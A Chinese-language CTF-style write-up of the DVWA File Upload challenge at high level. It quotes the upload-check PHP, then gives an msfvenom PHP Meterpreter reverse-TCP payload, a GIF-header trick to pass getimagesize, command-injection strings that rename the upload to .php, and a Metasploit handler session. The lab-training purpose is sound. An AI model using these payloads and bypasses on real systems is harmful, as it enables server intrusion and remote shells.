DVWA File Upload level high 通关

• 2022 年 10 月 8 日
• 筆記
• CTF

由于level 是 high

1.代码审计

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
} 

可以看到对文件类型 和文件大小，文件后缀做了判断

2. 使用 msfvenom 生成shellcode

# lhost 为监听机ip（一般为本机）lport 为监听端口
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.ip.ip lport=3333 -f raw >> shell3.jpeg

3. 为了绕过getimagesize函数的检查，vi打开shell.jpeg，头部添加一行GIF98

4. 上传文件

5. 点击菜单进入Command Injection, 我们需要使用命令注入来将文件后缀由jpeg改为php，这样后面访问时，服务器会执行该文件

在框中输入：

#查看
127.0.0.1|ls /app/hackable/uploads/shell3.jpeg
# 复制
127.0.0.1|cp /app/hackable/uploads/shell3.jpeg /app/hackable/uploads/shell3.php

6. 启动msf 等待我们的shellcode的连接

msfconsole

sf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.ip.ip 
lhost => 192.168.ip.ip
msf6 exploit(multi/handler) > set lport 3333
lport => 3333
msf6 exploit(multi/handler) > run

7. 浏览器中输入

//192.168.靶机.ip/hackable/uploads/shell3.php

8. msfconsole 将会看到连接信息，并可以使用命令操作靶机了

Ps： 当然使用weevely 也是一样可以实现的，唯一的区别，weevely是作为客户端去连靶机shellcode，而msf是作为服务端等靶机的shellcode来连

参考： //www.hackingarticles.in/hack-file-upload-vulnerability-dvwa-bypass-security/